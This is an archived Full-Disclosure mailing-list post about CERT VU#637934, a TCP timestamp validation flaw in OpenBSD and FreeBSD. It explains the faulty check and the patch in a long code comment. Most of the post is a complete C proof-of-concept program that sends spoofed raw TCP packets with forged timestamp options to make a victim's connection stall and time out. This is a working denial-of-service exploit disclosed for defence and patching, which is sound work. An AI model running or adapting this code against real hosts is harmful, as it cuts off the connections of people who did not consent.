[Full-disclosure] CERT VU#637934

From: Daniel Hartmeier (daniel_at_benzedrine.cx)
Date: 05/21/05

  • Next message: Brian Phillips: "[Full-disclosure] Ports used by trogens"
    Date: Sat, 21 May 2005 18:46:03 +0200
    To: full-disclosure@lists.grok.org.uk
    
    
    
    

    /*
     * TCP does not adequately validate segments before updating timestamp value
     * http://www.kb.cert.org/vuls/id/637934
     *
     * RFC-1323 (TCP Extensions for High Performance)
     *
     * 4.2.1 defines how the PAWS algorithm should drop packets with invalid
     * timestamp options:
     *
     * R1) If there is a Timestamps option in the arriving segment
     * and SEG.TSval < TS.Recent and if TS.Recent is valid (see
     * later discussion), then treat the arriving segment as not
     * acceptable:
     *
     * Send an acknowledgement in reply as specified in
     * RFC-793 page 69 and drop the segment.
     *
     * 3.4 defines what timestamp options to accept:
     *
     * (2) If Last.ACK.sent falls within the range of sequence numbers
     * of an incoming segment:
     *
     * SEG.SEQ <= Last.ACK.sent < SEG.SEQ + SEG.LEN
     *
     * then the TSval from the segment is copied to TS.Recent;
     * otherwise, the TSval is ignored.
     *
     * http://community.roxen.com/developers/idocs/drafts/
     * draft-jacobson-tsvwg-1323bis-00.html
     *
     * 3.4 suggests an slightly different check like
     *
     * (2) If: SEG.TSval >= TSrecent and SEG.SEQ <= Last.ACK.sent
     * then SEG.TSval is copied to TS.Recent; otherwise, it is
     * ignored.
     *
     * and explains this change
     *
     * APPENDIX C: CHANGES FROM RFC-1072, RFC-1185, RFC-1323
     *
     * There are additional changes in this document from RFC-1323. These
     * changes are:
     * (b) In RFC-1323, section 3.4, step (2) of the algorithm to control
     * which timestamp is echoed was incorrect in two regards:
     * (1) It failed to update TSrecent for a retransmitted segment
     * that resulted from a lost ACK.
     * (2) It failed if SEG.LEN = 0.
     * In the new algorithm, the case of SEG.TSval = TSrecent is
     * included for consistency with the PAWS test.
     *
     * At least OpenBSD and FreeBSD contain this code instead:
     *
     * sys/netinet/tcp_input.c tcp_input()
     *
     * **
     * * If last ACK falls within this segment's sequence numbers,
     * * record its timestamp.
     * * NOTE that the test is modified according to the latest
     * * proposal of the tcplw@cray.com list (Braden 1993/04/26).
     * **
     * if ((to.to_flags & TOF_TS) != 0 &&
     * SEQ_LEQ(th->th_seq, tp->last_ack_sent)) {
     * tp->ts_recent_age = ticks;
     * tp->ts_recent = to.to_tsval;
     * }
     *
     * The problem here is that the packet the timestamp is accepted from doesn't
     * need to have a valid th_seq or th_ack. This point of execution is reached
     * for packets with arbitrary th_ack values and th_seq values of half the
     * possible value range, because the first 'if (todrop > tlen)' check in the
     * function explicitely continues execution to process ACKs.
     *
     * If an attacker knows (or guesses) the source and destination addresses and
     * ports of a connection between two peers, he can send spoofed TCP packets
     * to either peer containing bogus timestamp options. Since half of the
     * possible th_seq and timestamp values are accepted, four packets containing
     * two random values and their integer wraparound opposites are sufficient to
     * get one random timestamp accepted by the receipient. Further packets from
     * the real peer will get dropped by PAWS, and the TCP connection stalls and
     * times out.
     *
     * The following change reverts the tcp_input() check back to the implemented
     * suggested by draft-jacobson-tsvwg-1323bis-00.txt
     *
     * if (opti.ts_present && TSTMP_GEQ(opti.ts_val, tp->ts_recent) &&
     * SEQ_LEQ(th->th_seq, tp->last_ack_sent)) {
     * + if (SEQ_LEQ(tp->last_ack_sent, th->th_seq + tlen +
     * + ((tiflags & (TH_SYN|TH_FIN)) != 0)))
     * + tp->ts_recent = opti.ts_val;
     * + else
     * + tp->ts_recent = 0;
     * tp->ts_recent_age = tcp_now;
     * - tp->ts_recent = opti.ts_val;
     * }
     *
     * I can't find Braden's proposal referenced in the comment. It seems to
     * pre-date draft-jacobson-tsvwg-1323bis-00.txt and might be outdated by
     * it.
     *
     * Fri Mar 11 02:33:36 MET 2005 Daniel Hartmeier <daniel@benzedrine.cx>
     *
     * http://www.openbsd.org/cgi-bin/cvsweb/src/sys/netinet/tcp_input.c.diff\
     * ?r1=1.184&r2=1.185&f=h
     *
     * http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/netinet/tcp_input.c.diff\
     * ?r1=1.252.2.15&r2=1.252.2.16&f=h
     *
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/socket.h>
    #include <net/if.h>
    #ifdef __FreeBSD__
    #include <net/if_var.h>
    #endif
    #include <netinet/in.h>
    #include <netinet/in_var.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>

    static u_int16_t
    checksum(u_int16_t *data, u_int16_t length)
    {
            u_int32_t value = 0;
            u_int16_t i;

            for (i = 0; i < (length >> 1); ++i)
                    value += data[i];
            if ((length & 1) == 1)
                    value += (data[i] << 8);
            value = (value & 65535) + (value >> 16);
            return (~value);
    }

    static int
    send_tcp(int sock, u_int32_t saddr, u_int32_t daddr, u_int16_t sport,
        u_int16_t dport, u_int32_t seq, u_int32_t ts)
    {
            u_char packet[1600];
            struct tcphdr *tcp;
            struct ip *ip;
            unsigned char *opt;
            int optlen, len, r;
            struct sockaddr_in sin;

            memset(packet, 0, sizeof(packet));

            opt = packet + sizeof(struct ip) + sizeof(struct tcphdr);
            optlen = 0;
            opt[optlen++] = TCPOPT_NOP;
            opt[optlen++] = TCPOPT_NOP;
            opt[optlen++] = TCPOPT_TIMESTAMP;
            opt[optlen++] = 10;
            ts = htonl(ts);
            memcpy(opt + optlen, &ts, sizeof(ts));
            optlen += sizeof(ts);
            ts = htonl(0);
            memcpy(opt + optlen, &ts, sizeof(ts));
            optlen += sizeof(ts);

            len = sizeof(struct ip) + sizeof(struct tcphdr) + optlen;

            ip = (struct ip *)packet;
            ip->ip_src.s_addr = saddr;
            ip->ip_dst.s_addr = daddr;
            ip->ip_p = IPPROTO_TCP;
            ip->ip_len = htons(sizeof(struct tcphdr) + optlen);

            tcp = (struct tcphdr *)(packet + sizeof(struct ip));
            tcp->th_sport = htons(sport);
            tcp->th_dport = htons(dport);
            tcp->th_seq = htonl(seq);
            tcp->th_ack = 0;
            tcp->th_off = (sizeof(struct tcphdr) + optlen) / 4;
            tcp->th_flags = 0;
            tcp->th_win = htons(16384);
            tcp->th_sum = 0;
            tcp->th_urp = 0;

            tcp->th_sum = checksum((u_int16_t *)ip, len);

            ip->ip_v = 4;
            ip->ip_hl = 5;
            ip->ip_tos = 0;
            ip->ip_len = htons(len);
            ip->ip_id = htons(arc4random() % 65536);
            ip->ip_off = 0;
            ip->ip_ttl = 64;

            sin.sin_family = AF_INET;
            sin.sin_addr.s_addr = saddr;

            r = sendto(sock, packet, len, 0, (struct sockaddr *)&sin, sizeof(sin));
            if (r != len) {
                    perror("sendto");
                    return (1);
            }

            return (0);
    }

    static u_int32_t
    op(u_int32_t u)
    {
            return (u_int32_t)(((u_int64_t)u + 2147483648UL) % 4294967296ULL);
    }

    int main(int argc, char *argv[])
    {
            u_int32_t saddr, daddr, seq, ts;
            u_int16_t sport, dport;
            int sock, i;

            if (argc != 5) {
                    fprintf(stderr, "usage: %s <src ip> <src port> "
                        "<dst ip> <dst port>\n", argv[0]);
                    return (1);
            }

            saddr = inet_addr(argv[1]);
            daddr = inet_addr(argv[3]);
            sport = atoi(argv[2]);
            dport = atoi(argv[4]);

            sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
            if (sock < 0) {
                    perror("socket");
                    return (1);
            }
            i = 1;
            if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) == -1) {
                    perror("setsockopt");
                    close(sock);
                    return (1);
            }

            seq = arc4random();
            ts = arc4random();
            if (send_tcp(sock, saddr, daddr, sport, dport, seq, ts) ||
                send_tcp(sock, saddr, daddr, sport, dport, seq, op(ts)) ||
                send_tcp(sock, saddr, daddr, sport, dport, op(seq), ts) ||
                send_tcp(sock, saddr, daddr, sport, dport, op(seq), op(ts))) {
                    fprintf(stderr, "failed\n");
                    close(sock);
                    return (1);
            }

            close(sock);
            printf("done\n");
            return (0);
    }

    
    

    
    

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.grok.org.uk/full-disclosure-charter.html
    Hosted and sponsored by Secunia - http://secunia.com/


    • application/pgp-signature attachment: stored

  • Next message: Brian Phillips: "[Full-disclosure] Ports used by trogens"

    Relevant Pages

    • Improved TCP syncookie implementation
      ... rid of some locking in TCP syncache and to improve their functionality. ... The RFC1323 timestamp option is used to carry the full TCP SYN+SYN/ACK ... The purpose of SYN cookies is to avoid keeping track of all SYN's we ... The idea of SYN cookies is to encode and include all necessary information ...
      (freebsd-net)
    • Re: cwnd and sstresh monitor
      ... (kernel patch, kernel module, etc?), and how would this be done best? ... but there is a TCPDEBUG kernel option that gathers TCP state information for debugging and tracing purposes. ... I also modified the iptimefunction to provide microsecond resolution instead of miliseconds, because most of the packets have the same timestamp attached. ...
      (freebsd-hackers)
    • Re: Getting a Machines Uptime Remotely
      ... The UPTIME is from the Timestamp of a TCP packet. ... Windows will provide TCP timestamp information, ...
      (Pen-Test)
    • Re: Improved TCP syncookie implementation
      ... The RFC1323 timestamp option is used to carry the full TCP SYN+SYN/ACK ... a client sent SYN, ... If our SYN-ACK back to client is lost we won't resend it with syncookies. ...
      (freebsd-net)
    • TCP timestamp & advanced fingerprinting
      ... attached is a paper from one of our students about using the TCP ... analysis of various operating systems should reveal how analyzing timestamps ... the timestamp value of one point each 500 milliseconds. ... value in their SYN packets, but Windows-based operating systems does not. ...
      (Bugtraq)